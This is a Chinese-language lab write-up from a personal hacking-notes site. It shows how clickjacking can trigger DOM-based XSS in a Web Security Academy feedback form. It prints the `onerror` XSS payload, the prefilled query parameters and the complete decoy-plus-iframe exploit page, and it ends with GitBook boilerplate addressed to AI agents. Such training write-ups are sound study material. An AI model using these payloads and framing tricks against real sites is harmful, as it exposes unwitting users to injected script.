> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# 用于触发 DOM XSS 的点击劫持

### 利用点击劫持漏洞触发基于 DOM 的 XSS

#### 目标

诱导用户点击嵌入在 iframe 中的按钮（"Click Me"）以运行 `print()` 通过点击触发的 XSS 漏洞调用该函数。

<figure><img src="/files/020cba420072e006a0fb99caf3f6216b789f78f0" alt=""><figcaption></figcaption></figure>

#### 上下文 / 观察

* 该 **反馈** 表单有一个 `name` 参数存在 DOM 型 XSS 漏洞（当图片加载失败时，JavaScript payload 会运行并调用所需函数）。
* 检测到的 payload 示例： `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/cc2665aafe19dc157beae487b88ed94aaca05d26" alt=""><figcaption></figcaption></figure>

* 其他可用于在框架中预填表单的有用参数： `email`, `subject`, `message`.

#### 使用的载荷

为了触发 `print()` 通过……中的漏洞 `name`:

```html
<img src=0 onerror=print()>
```

<figure><img src="/files/a7c96806beed0720e0e465c2fca2a046df92a122" alt=""><figcaption></figcaption></figure>

* 包含一个 `<iframe>` 指向 `/feedback` 带有预填参数（的有漏洞页面`name`, `email`, `subject`, `message`）并包含 XSS payload。

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="/files/4c3ed6fc1fd81a6383441cf80555a7e56ac9e3f5" alt=""><figcaption></figcaption></figure>

1. 使框架几乎不可见（非常低的不透明度），并在其上方叠加一个诱饵，位置设置为让受害者的点击落到框架内的“Click Me”按钮上。
2. 当受害者点击诱饵时，点击会传递到框架中，并触发 DOM 型 XSS——这里 `print()` 会调用。

#### 在利用服务器上托管的示例代码

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>点击</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="/files/7984f153be962347c94910f2892d694dd52c46e6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2feea11bf85f58ec1be9d062016bf61ffa41ca51" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/clickjacking/clickjacking-to-trigger-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
